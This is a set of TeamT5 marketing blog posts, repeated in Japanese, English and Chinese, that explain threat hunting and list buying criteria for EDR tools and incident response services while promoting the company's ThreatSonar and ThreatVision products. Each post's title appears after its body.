>歡迎聯絡我們，了解您的企業如何進行資安防禦最佳化。
>
>[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blogs&utm_medium=website)

*首圖來源: Pexels

威脅情資平台（TIP）評估與採購重點

サイバーセキュリティの領域において、企業は常に変化し続けるサイバーセキュリティ脅威に直面しており、重要な機密データが危険にさらされ、業務運営の混乱を招く可能性があります。 これらの課題に対処するために、セキュリティ専門家はさまざまな戦略を採用しており、その 1 つが脅威ハンティングです。

 

## 脅威ハンティングの定義
脅威ハンティングとは、従来のセキュリティ対策を潜り抜ける可能性のある、潜在的な脅威を特定し、無力化するように設計されたプロアクティブなセキュリティ戦略です。 事前に作成された動作モデルに依存する従来のセキュリティ手法とは異なり、脅威ハンティングでは、企業ネットワークを積極的に検索し、脅威の指標を探します。

 

## 脅威ハンティングによるアクティブディフェンスの応用で、先手を打つ
従来のサイバーセキュリティ対策は不可欠ではありますが、通常はネットワーク攻撃を検出してから反撃する、という比較的受動的なプロセスです。 一方、脅威ハンティングは、潜在的な脅威が本格的な攻撃を開始する前に、その兆候を積極的に検知します。

脅威ハンティングも「ゼロトラスト」セキュリティ概念の一部です。つまり、ネットワークシステム環境が侵害されたと仮定した場合、企業は率先して定期的にセキュリティ状況を確認する必要があります。そうすることで、侵入の疑いが検出された場合、リアルタイムで効果的に緩和することができ、セキュリティ問題が拡大することはありません。

脅威ハンティング戦略には、エンドポイントに隠れた脅威を発見するために、高度なツールと手法の組み合わせ、そして豊富な実務経験を持つセキュリティ専門家が必要です。

 

## 脅威ハンティングの鍵
### データ行動分析

脅威ハンティングは、ログ、ネットワークトラフィック、その他の有用な情報ソースなど、企業ネットワーク上のプログラムの動作によって生成された大量のデータを徹底的に分析することから始まります。

実際のハンティング プロセスでは、脅威ハンティングの専門家が独自のツールを使用し、ツールに内蔵された行動分析機能を使用して正常な行動パターンと異常な行動パターンを特定します。これにより、さらに深くに潜伏するサイバー脅威の発見が容易になります。

### 脅威インテリジェンス

脅威ハンティングの専門家が使用するツールは、正確な脅威ハンティングを実施し、進化し続けるセキュリティ脅威の一歩先を行くために、最新の攻撃手法、攻撃の背景、その他情報などの、企業に最も関連のある最新の脅威情報に基づいている必要があります。 

 

## 企業のセキュリティにおける脅威ハンティングの重要性
### 時間差の短縮

脅威ハンティングとは、脅威を積極的に発見して解決することで、企業は「ハッカーの侵入」と「脅威による実際の損失」までの時間差を大幅に短縮し、運用上の損失を回避することができます。

### サイバーセキュリティインシデントへの対応強化

脅威ハンティングは、企業が攻撃の初期段階で脅威を特定してブロックするのに役立ち、セキュリティインシデントへの対応能力を強化し、潜在的な損害を最小限に抑えることができます。

### 最新のセキュリティ脅威への効果的な対処

絶えず変化し続けるサイバーセキュリティ環境において、企業は脅威ハンティングを利用することで、従来のサイバーセキュリティ対策やツールでは検出できない、新たなセキュリティ脅威に迅速に対応できます。

 

## 結論
脅威ハンティングは、セキュリティを強化するためのプロアクティブなアプローチです。 潜在的な脅威を積極的に探すことで、企業は防御を強化し、ハッカーの行動の一歩先を行くことができます。

TeamT5の脅威ハンティングツールThreatSonarは、独自の「メモリフォレンジック」技術を搭載しており、合法なプログラムに偽装した不正プログラムを正規プログラムに注入する攻撃者の攻撃手法を特定し、悪意のあるプログラムの中継局を見つけることが可能なので、さらなる脅威の侵入をブロックできます。

ThreatSonarが搭載している最先端の脅威ハンティング技術は、以下の潜在的な脅威を特定・発見し、企業のセキュリティ耐性を強化します：
- 実行済みのプログラム、実行予定のプログラム(Executed/Autorun programs threat hunting)
- メモリに隠された悪意のあるプログラムの検出と特定（メモリフォレンジック）
- 攻撃者のハッキングツール
- 疑わしいアーティファクト（攻撃後ホストに残された記録など）
- Living Off The Land Binaries And Scripts (LOLBAS)
- サイバーハイジーン

サイバーセキュリティ環境が変化し続ける中、企業の包括的なサイバーセキュリティ戦略に脅威ハンティングを組み込むことの重要性が高まっており、重要なビジネスの機密データを保護して事業運営の堅牢性を維持し、サイバーセキュリティの強靭性を確立するのに役立ちます。

> もっと詳しく知る : [ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)

脅威ハンティングとは?

In the field of cybersecurity, enterprises are facing ever-changing cybersecurity threats that may compromise important data and disrupt business operations. To address these challenges, security professionals employ various strategies, one of which is threat hunting.

##Definition of Threat Hunting 
Threat hunting is a proactive cybersecurity strategy designed to identify and neutralize potential threats that may evade traditional security measures. Unlike traditional cybersecurity practices that rely on pre-established behavioral models, threat hunting involves proactively searching corporate networks for threat indicators.

##Threat Hunting Uses the Concept of Active Defense to Defeat the Enemy in Advance

Although traditional cybersecurity measures are indispensable, they usually first detect network attacks and then respond and counterattack, which is a relatively passive process. Threat hunting proactively looks for signs of potential threats before they develop into a full-scale attack.

Threat hunting is also part of the "zero trust" security concept. That is, assuming that the network system environment has been invaded, enterprise organizations should proactively confirm the security status on a regular basis. Once a suspected intrusion is discovered, it can be immediately and effectively mitigated to prevent the spread and extension. becomes a bigger cybersecurity issue.

Threat hunting strategies require security professionals with rich practical experience, coupled with advanced tools and methods, to uncover threats hidden on endpoints.

##Key Benefits to Threat Hunting
#### Data analysis

Threat hunting begins with in-depth analysis of large amounts of data generated by program behavior on corporate networks, including logs, network traffic, and other sources of helpful information.

During the actual hunting process, threat hunting experts use proprietary tools and use the tool's built-in behavioral analysis function to identify normal and abnormal activity patterns, which helps to discover possible deeper and latent cybersecurity threats.


####Behavior analysis

Threat hunting experts use proprietary tools to identify normal and abnormal activity patterns with built-in behavioral analysis capabilities, which can help uncover potentially deeper, latent cybersecurity threats.

#### Threat intelligence

The tools used by threat hunting experts need to be based on the latest threat information that is most relevant to the enterprise in order to conduct accurate threat hunting and stay ahead of the ever-evolving security threats. This includes the latest attack techniques, attack context and other information.


##The Importance of Threat Hunting to Enterprise Security
#### Reduce time difference

Threat hunting is by proactively finding and resolving threats. Enterprises can significantly reduce the time difference between "hacker invasion" and "actual losses caused by threats" and avoid operational losses.

#### Strengthen response to cybersecurity incidents

Threat hunting helps enterprises identify and block threats in the early stages of an intrusion, strengthens the enterprise's ability to respond to security incidents, and minimizes potential damage.

#### Effectively deal with the latest security threats

In an ever-changing cybersecurity environment, threat hunting enables enterprises to quickly respond to emerging cybersecurity threats that may not be detected by traditional cybersecurity measures and tools.

##Conclusion
Threat hunting is a proactive approach to security enhancement. By proactively looking for potential threats, enterprises can strengthen their defenses and stay ahead of hackers. . And stay ahead of hackers.

TeamT5's threat hunting tool ThreatSonar has a unique "memory forensics'' technology that can identify the attacker's attack method of injecting malicious programs into legitimate programs by using the legal to disguise the illegal, and find the relay station of the malicious program. Block further threat intrusions.

ThreatSonar's leading threat hunting technology can identify and uncover the following potential threats to help enterprises strengthen their security resilience:
- Programs that have been executed and will be executed (Executed/Autorun programs threat hunting)
- Detect and identify malicious programs hidden in memory (Memory forensics)
- Hacktools for attackers
- Suspicious artifacts (records left on the host after the attack)
- Living Off The Land Binaries And Scripts (LOLBAS)
- Cyber hygiene


 
 
As the cybersecurity environment continues to change, it has become increasingly important to incorporate threat hunting into an enterprise's comprehensive cybersecurity strategy. It helps protect important business sensitive data, maintains the robustness of business operations, and establishes cybersecurity resilience.
 
 
 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.

>The threat hunting tool we developed, ThreatSonar, has been adopted by many large enterprises, financial industries and managed security service providers (MSSPs).

 
>If you are an enterprise, please contact us immediately and use the product demonstration demo to fully grasp the excellent defense benefits brought by threat hunting.

>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end customers.

>https://teamt5.org/en/contact-us/

 
 
*key words: cyber threat hunting, threat hunting

*Picture source: pixabay

What is Threat Hunting?

在資安領域中，企業面臨著不斷變化的資安威脅，這些威脅可能危及重要的機敏資料數據並干擾商務運作。為了應對這些挑戰，資安專業人員採用了各種策略，其中之一即為威脅狩獵（threat hunting）。

##威脅狩獵的定義
威脅狩獵是一種主動的資安策略，旨在識別並化解可能繞過逃避傳統資訊安全措施的潛在威脅。與依賴預先建立行為模型的的傳統資安做法不同，威脅狩獵涉及主動搜尋企業網路中的威脅指標。


##威脅狩獵運用主動防禦的概念，制敵機先
傳統的資安措施雖然必不可少，但通常該類措施是先偵查到網路攻擊，再進行回應與反制，過程較為被動。威脅狩獵則通過主動尋找潛在的威脅跡象，防止其發展成全面的攻擊。

威脅狩獵更是「零信任」資安概念的一環，亦即假設網路系統環境已經遭受入侵，企業組織應定期主動確認資安狀況，一旦發現疑似入侵事件，能即時有效緩解，不致擴散延伸成更大的資安問題。

威脅狩獵策略須由具備豐富實務經驗的資安專業人員，搭配先進的工具和方法，挖掘出隱藏於端點的威脅。

 

##威脅狩獵的關鍵環節
####數據行為分析

威脅狩獵始於對企業網路的程式行為產生的大量數據，進行深度分析，分析對象數據包括日誌、網路流量和其他有助協助的資訊相關數據來源。

實際狩獵過程中，威脅狩獵專家使用專有工具，以工具內建的行為分析功能，識別正常與異常活動模式，這有助於發現可能更深層、潛伏的資訊安全威脅。

####威脅情資

威脅狩獵專家採用的工具，需基於最新、與企業最相關的威脅情資，方能進行精準的威脅狩獵，以保持在持續演化的資安威脅中，保持領先地位。這包括最新的攻擊手法、攻擊脈絡等資訊。


##威脅狩獵之於企業資安的重要性
####減少時間差

威脅狩獵是通過主動尋找並化解威脅，企業可以顯著減少「駭客入侵」與「威脅造成實際損失」之間的時間差，避免營運損失。

####強化資安事件應變

威脅狩獵協助企業在攻擊入侵的初期，即時識別與阻止威脅，強化企業對資安事件的應變能力，最小化潛在損害。

####有效應對最新的資安威脅

在變動萬千的資安環境中，威脅狩獵使企業能夠迅速應對新興的資安威脅，這些威脅可能無法經由傳統的資訊安全措施、工具所偵查到。


##結論
威脅狩獵為一種主動的資安強化方法。通過主動尋找潛在威脅，企業可以加強其防禦，超前部署，預防駭客入侵。

杜浦數位安全 TeamT5 的威脅狩獵工具 ThreatSonar 所具備的獨特「記憶體鑑識」技術，可鑑識出攻擊者利用合法掩飾非法-將惡意程式注入合法程式中的攻擊手法，找到惡意程式的中繼站，阻擋進一步的威脅入侵。

ThreatSonar 的領先威脅狩獵技術，能夠鑑識、揪出以下潛在威脅，協助企業強化資安韌性：
- 執行過以及將要執行的程式 (Executed/Autorun programs threat hunting)
- 針對隱匿於記憶體中的惡意程式，進行偵測與鑑識 (Memory forensics)
- 攻擊者的駭客工具 (Hacktools)
- Suspicious artifacts (攻擊後殘留於主機的紀錄)
- Living Off The Land Binaries And Scripts (LOLBAS)
- 網路衛生 (Cyber hygiene)


 
 
隨著資安環境的不斷變化，將威脅狩獵納入企業全面資安策略中，變得日益重要，有助保護重要商業機敏資料數據，並維護商務運作的穩健性，奠定資安韌性。

 
 
>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們研發的威脅狩獵工具 ThreatSonar 已獲許多大型企業、金融產業及資安代管服務廠商（MSSP）採用。

 
>如果您是企業，請立即連絡我們，透過產品展示 Demo，徹底掌握威脅狩獵帶來的絕佳防禦效益。

>如果您是資安代管服務廠商，請即刻聯絡我們，共同討論如何為終端客戶強化資安韌性，並且創造商機。
>https://teamt5.org/tw/contact-us/

 
 
*圖片來源: Pixabay

什麼是威脅狩獵?

脅威に満ちた今日のデジタル時代において、企業は自社システムを攻撃やデータ盗難から確実に保護するため、最適なエンドポイントセキュリティソリューションを積極的に探す必要があります。

EDR(Endpoint Detection and Response)ソリューションは、企業がエンドポイントの脅威を早期に検出して対応できる強力なツールです。しかし、EDRソリューションを選択および購入する場合、企業は、選択したソリューションがサイバーセキュリティのニーズを満たし、情報システムが長期かつ安定的に動作するのに役立つかどうか、いくつかの重要な点を踏まえて確認する必要があります。


## 1. 完全な脅威検出機能:
高精度で即時の脅威検出機能を備えた EDR ソリューションを選択することが重要です。また、既知と未知の両方の様々な種類の脅威を識別し、即時の警告と対応メカニズムを提供できる必要があります。


## 2. 効率的な脅威への対応とブロック機能:
優れた EDR ソリューションには、脅威への迅速な対応とブロック機能が備わっています。これには、脅威が特定されると即座に対応し、被害を最小限に抑え、復旧時間を短縮する自動応答メカニズムが含まれます。


## 3. 高度な可視性とレポート機能:
詳細なレポートと分析を提供する EDR ソリューションは、脅威の傾向の理解を深め、調査を実施し、今後の攻撃に対応するための鍵となります。また、可視性の高い情報はリアルタイムで更新され、エンドポイントとネットワークアクティビティの包括的な視覚的画像を提供する必要があります。


## 4. 国際的なサイバーセキュリティ防御の枠組み MITRE ATT&CK の参照
米国の非営利団体 MITRE は、国際的に広く使用されている ATT&CK (Adversarial Tactics, Techniques & Common Knowledge) サイバー防御フレームワークを提案しました。これは、企業組織が共通の言語と構造を持ち、ネットワーク攻撃手法を理解して分析できるようにすることを目的としています。


## 5. 簡単な統合と拡張性
EDR ソリューションは、SIEM (Security Information and Event Management) などの既存のサイバーセキュリティソリューションおよびインフラストラクチャと簡単に統合できる必要があります。また、ウイルス対策ソフトウェアなどの既存のソリューションとの競合も回避する必要があります。同時に、EDR ソリューションは拡張性があり、企業のビジネスの継続的な拡大とそれに伴うエンドポイント数の継続的な増加に対応できる必要があります。



## 6. セキュリティとコンプライアンス
企業が選択する EDR ソリューションは、データ暗号化、ユーザー権の管理、および企業が所在する国の法的要件への準拠を保証するその他の機能を含む、セキュリティ標準と規制要件に準拠する必要があります。



## 結論

EDR ソリューションを選択および購入する場合、企業は上記の要素を考慮し、特定のニーズを満たすソリューションを選択する必要があります。これにより、企業のセキュリティが向上するだけでなく、ビジネス運営が保護され、顧客やパートナーからの信頼も得られます。最終的に、優れた EDR ソリューションは企業のセキュリティ戦略の重要な基盤になります。

TeamT5 は、上記の特徴を満たす EDR ソリューション「[ThreatSonar Anti-ransomware](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blogs&utm_medium=website)」を提供しています。当社のチームメンバーは、サイバーセキュリティ脅威の調査と分析において 20 年以上の経験があり、政府、金融、テクノロジー、製造などの幅広い業界の顧客がサイバー防御の目標を達成できるようサポートしてきました。


>貴社のサイバー防御を最適化する方法について詳しく知りたい場合は、ぜひお問い合わせください。
[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blogs&utm_medium=website)



EDR(Endpoint Detection and Response) ：導入における主な考慮事項

In today's digital age, which is full of threats, enterprises should actively look for the best endpoint security solutions to ensure that their systems are protected from attacks and data theft.

EDR (Endpoint Detection and Response) solution is a powerful tool that can help enterprises detect and respond to endpoint threats early. However, when selecting and purchasing EDR solutions, enterprises need to pay attention to some key points to ensure that the chosen solution meets their cybersecurity needs and can help the information system operate stably in the long term.

 

### 1. Complete threat detection capabilities
It is important to choose an EDR solution with high accuracy and instant threat detection capabilities. Solutions should be able to identify various types of threats, both known and unknown, and provide immediate warning and response mechanisms.

### 2. Efficient threat response and blocking capabilities
A good EDR solution should have rapid threat response and blocking capabilities. This includes automated response mechanisms that take action as soon as a threat is identified to minimize damage and speed up recovery time.

### 3. High visibility and reporting capabilities
Choose an EDR solution that provides detailed reporting and analysis, which is key to understanding threat trends, conducting investigations, and responding to future attacks. Visibility information should be real-time and provide a comprehensive visual picture of endpoint and network activity.

### 4. Refer to the international cybersecurity defense framework MITRE ATT&CK
The American non-profit organization MITRE proposed the ATT&CK (Adversarial Tactics, Techniques & Common Knowledge) cybersecurity defense framework that is widely used internationally. It aims to help enterprise organizations have a common language and structure, understand and analyze network attack methods, and then plan cybersecurity. Countermeasures.

### 5. Easy integration and scalability
EDR solutions should be easy to integrate with existing cybersecurity solutions and infrastructure, such as SIEM (Security Information and Event Management) solutions; they should also avoid conflicts with existing solutions, such as anti-virus software. At the same time, the EDR solution should be scalable and able to cope with the continuous expansion of the enterprise's future business and the continuous increase in the number of endpoints.

### 6. Security and compliance
The EDR solution an enterprise chooses must comply with relevant security standards and regulatory requirements. This includes data encryption, user rights control and other functions to ensure compliance with the legal requirements of the country where the enterprise is located.


 

## Conclusion

When selecting and purchasing an EDR solution, businesses should consider the above factors and select a solution that meets their specific needs. This not only improves enterprise security, but also protects business operations and gains the trust of customers and partners. Ultimately, a good EDR solution will become an important foundation for an enterprise's security strategy.

TeamT5 provides an EDR solution "[ThreatSonar Anti-ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blogs&utm_medium=website)", which meets the above characteristics. Our team members have more than 20 years of experience in cybersecurity threat investigation and analysis, and have assisted a wide range of customer groups such as the government, financial industry, technology industry, and manufacturing industry to achieve cybersecurity defense goals.

>Contact us to learn how your enterprises can optimize your security defense.
[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

Endpoint Detection and Response (EDR) Solution: Key Considerations for Procurement

在當今充滿威脅的數位時代，企業宜積極尋找最佳的端點安全解決方案，以確保企業的系統免受攻擊、數據失竊。

**EDR（Endpoint Detection and Response）**解決方案是一種強大的工具，可以幫助企業及早檢測和應對端點威脅。然而，在挑選和採購 EDR 解決方案時，企業需要注意一些關鍵重點，以確保所選擇的解決方案符合其資訊安全需求，更能協助資訊系統能長期穩定運作。

 

### 1. 完整的威脅偵測能力
選擇一個具有高精確度和即時威脅偵測能力的 EDR 解決方案，十分重要。解決方案應該能夠識別各種類型的威脅，包括已知和未知的威脅，並提供即時的警告和反應機制。

 

### 2. 高效的威脅回應和阻斷能力
一個優秀的 EDR 解決方案應該具有快速的威脅回應和阻斷功能。這包括自動化的應對機制，能夠在識別到威脅後立即採取行動，以最小化損失並加快恢復時間。

 

### 3. 高度的可視性和報告功能
選擇一個提供詳細報告和分析的 EDR 解決方案，這對於了解威脅趨勢、進行調查和應對未來攻擊非常關鍵。可視性資訊應該是即時的，並且能夠提供端點和網路活動的全方位視覺畫圖表。

 

### 4. 參考國際通用資安防禦框架 MITRE ATT&CK
美國非營利組織 MITRE 提出廣為國際使用的 ATT&CK (Adversarial Tactics, Techniques & Common Knowledge)資安防禦框架，旨在協助企業組織有共通的語言與架構，了解與分析網路攻擊手法，進而規劃資安對策。

EDR 解決方案宜具備攻擊事件與此資安防禦框架的對照資訊，使用者方可有具體、清晰的概念，理解攻擊事件的手法，採取正確的應對措施。

 

### 5. 容易整合和擴展性
EDR 解決方案應該易於與現有的資訊安全解決方案、基礎設施整合，如SIEM（Security Information and Event Management）解決方案；也避免與現有解決方案衝突，如防毒軟體。同時，EDR 解決方案應該具有擴展性，能夠應對企業未來業務持續擴展，端點數持續增加。

 

### 6. 安全性和合規性
企業所選擇的 EDR 解決方案必須符合相關的安全性標準和法規要求。這包括數據加密、使用者權限控制等功能，確保符合企業所在國家的法律規定。

 

## 結論

在挑選和採購 EDR 解決方案時，企業應該綜合考慮上述因素，並選擇一個符合其特定需求的解決方案。這不僅能夠提高企業的安全性，還能夠保護業務營運，獲得客戶和合作夥伴的信任。最終，一個優秀的 EDR 解決方案將成為企業資安策略的重要基底。

 

TeamT5 杜浦數位安全提供 EDR 解決方案「[ThreatSonar Anti-ransomware](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blogs&utm_medium=website)」，符合上述特點。我們的團隊成員具備超過 20 年的資安威脅調查、分析的經驗，已協助政府、金融業、科技業、製造業等廣大客戶群，達成資安防禦目標。

>歡迎聯絡我們，了解您的企業如何進行資安防禦最佳化。
[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blogs&utm_medium=website)

 

*首圖來源: Unsplash

端點檢測和回應解決方案（EDR） 評估與採購重點

脅威インテリジェンスは情報セキュリティ防御の基礎であると主張し、アクション指向のローカル インテリジェンスの提供に重点を置いています。 クライアントが攻撃を予測し、事前に防御戦略を展開し、損失のリスクを軽減するのを支援します。

##ThreatVision

全世界のAPT脅威情報を掌握し、リアルタイムに脅威リスク状態を予測し、事前に部門を防衛します。
全世界で猛威を振るう最新の悪意あるプログラムの分析と追跡結果に対し、早期警告、悪意ある侵入指標、公開情報分析とハッカーグループの研究を提供し、企業が最新のネットワーク脅威の趨勢を掌握し、既知かつ潜在的な脅威を正確に判断するお手伝いをいたします。

**企業支援**
- 当社はあなた自身の診断、また専門家によるコンサルティングサービスを円滑にするインタラクティブなプラットフォームを提供します。
- 脅威インテリジェンスとサンプルに関連するキーワード検索により、企業の脅威リスク調査を満たすことができます。

 
もっと詳しく知る: [ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website)

 
 

##ThreatSonar

**事前防御のための脅威ハンティング**

企業において最高水準のサイバーセキュリティの事前防御策である、APT（Advanced Persistent Threat）の脅威ハンティングソリューションは、 自動展開・簡単な操作・異常の正確な検出・更に悪意ある脅威を迅速に検出、することで攻撃が発生した場合の防御としても、速やかに対策を講じることができるように設計されています。

**迅速な侵入脅威の検知**

デジタルフォレンジックとビヘイビア・モデルテクノロジーにより異常な動作をすばやく検出、封鎖し企業の情報セキュリティの状態を即座に把握します。

**情報セキュリティ脅威の自動調査**

インテリジェンス主導型の機能と自動調査機能により、アクティブ検出は、ハッカーが脅威を隠すために一般的に使用するTTP（戦術、技術、手順）に準拠しており、情報セキュリティインシデントの調査効率の向上を促進します。

 
もっと詳しく知る: [ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)

インテリジェンスがサイバー防御を推進

We believe that threat intelligence is the cornerstone of cyber defense. We provide action-oriented and localized intelligence to help enterprises foresee cyber attacks and deploy defense strategies in advance.

##ThreatVision: Threat Intelligence Platform

Grow your business in a threat-free environment with our intuitive interface. Further analysis is upon request and conducted by our 10+ years’ experience analysts.

Mitigate your risk with our in-depth research on Advanced Persistent Threat (APT) activities and cyber threat intelligence analysis.

With one glimpse at our internet threat map, you’re able to understand aggregated risk information across the global network. With our cyber risk scoring, you’re able to quickly identify the threat level of a specific IP address or domain name. Enterprises can always stay proactive with our threat intelligence.

- Learn more: [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website)

##ThreatSonar Anti-Ransomware: Endpoint detection and response platform

ThreatSonar Anti-Ransomware aims to protect enterprises from Advanced Persistent Threat (APT). With real-time threat detection & hunting, it can also prevent targeted ransomware.

Once ThreatSonar Anti-Ransomware discovers suspicious behaviors - files are encrypted or systems are damaged, it’ll isolate the threat source and prevent other systems being infected. ThreatSonar EDR can also easily restore encrypted files in order to protect enterprises’ valuable assets.

ThreatSonar Anti-Ransomware can be customized based on clients’ needs. It has been widely used by many enterprises from various industries to monitor cyber threats and manage cyber incidents.

- Learn more: [ThreatSonar Anti-Ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)

##ThreatSonar: Rapid Test for Enterprise Cybersecurity’s Health Status

ThreatSonar is an easy-to-use tool to hunt cyber threats. Combining digital forensics and behavior-modeling techniques, ThreatSonar can do fast triage and hunt for anomalies.

Driven by cyber threat intelligence and run with automatic mode, it finds hidden infections with similar TTPs - Tactics, Techniques, and Procedures. Regular cybersecurity check-ups also help enterprises to better protect endpoints.

ThreatSonar offers both online and offline mode to protect endpoints in various situations. In short, ThreatSonar is an effective tool designed for assisting incident response.

- Learn more: [ThreatSonar](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website)


Intelligence-driven Cyber Defense

我們堅持威脅情資是資安防禦的基石，為企業提供行動取向的在地情資，協助企業預見攻擊，提前部署防禦策略，降低損失風險。

##ThreatVision 威脅情資平台: 預知攻擊

TeamT5 創立於台灣、深耕亞太區域，威脅情資團隊具備逾10年的威脅情資研究資歷、逾1,000件資安事件應變與處理經驗，提供最在地化、最專業威脅情資，提升企業面對資安威脅、網路攻擊的防禦能量。

- 了解更多: [ThreatVision 威脅情資平台](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website)

##ThreatSonar Anti-Ransomware 端點威脅與回應平台: 即時防禦

不論是傳統大型企業或高科技廠商，皆頻傳受到勒索軟體攻擊，導致重要資訊外流、面臨需支付鉅額贖金的壓力。

ThreatSonar Anti-Ransomware 基於人工智慧引擎，監控程式的可疑行為(如: 加密檔案、破壞系統)，及時阻擋勒索軟體，避免惡意程式擴散。
      本解決方案具備防護客製化功能，企業可依據產業特性、營運需求等，自行定義風險追蹤項目、調整風險等級，以便簡化事件調查、加速風險告警。

- 了解更多: [ThreatSonar Anti-Ransomware 端點威脅與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)

## ThreatSonar 威脅鑑識分析平台

網路攻擊手法持續演進，當企業發現攻擊事件時，往往機敏資料已落入駭客手中。
        ThreatSonar 基於 TeamT5 團隊對全球惡意程式研究的成果，內建超過100種惡意行為指標、超過1,000種軟體後門特徵，並結合智慧鑑識分析技術與風險模型，發掘潛藏在企業內部的未知威脅，提前預防網路攻擊。

- 了解更多: [ThreatSonar 威脅鑑識分析平台](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website)


情資驅動資安防禦 量身訂製企業策略

In today's digital age, security incidents and data leaks are becoming more and more common, so enterprises need to have strong incident response (IR) strategies and service providers to deal with potential threats.

IR services are designed to assist enterprises with immediate response and investigation of cybersecurity incidents and accidents to help them reduce damage. However, when selecting and procuring IR services, businesses need to carefully consider the following key factors.

### 1. Response time
A key IR provider selection criterion is its response time. Suppliers should be able to provide immediate response services to minimize the damage to the enterprise from potential threats and reduce the negative impact of data loss and system outages.

### 2. Professional knowledge and practical experience
The service provider's team members should have extensive security expertise and practical experience to ensure that they can effectively investigate and respond to various security incidents.

### 3. Use specialized detection tools
Cybersecurity incidents are often caused by endpoint intrusions. Therefore, service providers scan endpoint security status and detect the scope of damage for enterprises, which is the primary key to respond to cybersecurity incidents. Moreover, service providers can use specialized endpoint detection tools to get twice the result with half the effort, accurately confirm the scope of the damage, and take corresponding countermeasures.


### 4. Investigation and evidence protection
Suppliers should have professional investigation and digital evidence protection procedures in place to ensure that the incident investigation process is compliant and can be used in legal proceedings. This includes compliance reporting and evidence preservation measures.

### 5. Provide cybersecurity strengthening suggestions and cybersecurity awareness training
IR service providers should be able to provide cybersecurity enhancement suggestions to avoid encountering the same hacking incidents in the future, so as to help enterprises prevent future security incidents. This is a high-value add-on service that helps companies address root causes and improve overall security.



## Conclusion
IR services are an integral part of an enterprise's security resilience strategy, so choosing the right IR service provider is crucial. Businesses should carefully consider the above factors to ensure that the vendor they choose can provide efficient incident response and investigation services and help protect their data and systems.

The choice of IR services will directly impact an organization's ability to respond to security incidents, so it is an important decision that deserves careful consideration.

 

TeamT5 provides professional IR services. The self-developed threat identification and analysis platform ThreatSonar can accurately identify the victim scope of cybersecurity incidents for customers. Our team has more than 20 years of experience in security threat investigation and analysis, and is a member of FIRST, the largest international security incident response organization.

It has now assisted a wide range of customer groups such as the government, financial industry, technology industry, and manufacturing industry to quickly and effectively respond to cybersecurity threats or hacker attacks to protect key information assets with minimized losses; and provides cybersecurity enhancement suggestions and incidents related Threat intelligence, based on the core concept of "Know the enemy and know yourself; in a hundred battles you will never be in peril.", effectively helps enterprises improve their response capabilities in the face of cybersecurity incidents, reduce the interruption time of information systems and network services, maintain the continuity of various services, and ensure business working normally.

Welcome to contact us to learn how your company can optimize its security defense.
[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

Incident Response(IR): Key Considerations for Procurement

在當今的數位時代，安全事件和數據洩漏變得越來越普遍，因此企業需要擁有強大的資安事件應變（Incident Response，IR）策略和服務供應商來應對潛在的威脅。

IR 服務旨在協助企業，針對資訊安全事件、事故，進行即時回應和調查，以幫助企業降低損害。然而，在挑選和採購 IR 服務時，企業需要謹慎考慮以下關鍵因素。

### 1. 應變時間
一個關鍵的 IR 服務商的選擇標準是其應變時間。供應商應該能提供即時的應變服務，以最小化潛在威脅對企業的損害，降低數據丟失和系統中斷帶來的負面影響。

 

### 2. 專業知識和實務經驗
服務商的團隊成員應具備豐富的安全專業知識和實務經驗，以確保他們能夠有效地調查和應對各種安全事件。

 

### 3. 使用專門的檢測工具
資安事件的起因常是端點遭到侵入，因此服務商為企業進行端點安全狀況掃描、偵測受害範圍，是進行資安事件應變的首要關鍵。且服務商採取專門的端點檢測工具，更可收到事半功倍之效，精準確認受害範圍，採取相應對策。

 

### 4. 調查和證據保護
供應商應該具有專業的調查和數位證據保護程序，以確保事件的調查過程合規，並可以用於法律程序。這包括合規性報告和證據保全措施。

 

### 5. 提供資安強化建議和資安意識訓練
IR 服務供應商應可以提供資安強化建議，避免未來遭遇相同的駭客入侵事件，以幫助企業預防未來的安全事件。這是一個高價值的附加服務，有助於企業治本、提高整體安全性。

 

## 結論
IR 服務是企業資安韌性策略中，不可或缺的一部分，因此挑選適合的 IR 服務供應商至關重要。企業應該謹慎考慮上述因素，以確保所選擇的供應商能夠提供高效的資安事件回應和調查服務，並幫助保護其數據和系統。

IR 服務的選擇將直接影響企業對安全事件的應對能力，因此這是一個重要的決策，值得深思熟慮。

 

TeamT5 杜浦數位安全提供[資安事件應變服務](https://teamt5.org/tw/service/ir/?utm_source=blogs&utm_medium=website)，自主研發之[威脅鑑識分析平台 ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blogs&utm_medium=website) 可為客戶精準鎖定資安事件受害範圍。我們的團隊具備超過 20 年的資安威脅調查、分析的經驗， 並為[國際最大資安事件應變組織 FIRST](https://www.first.org/?utm_source=blogs&utm_medium=website) 的成員。

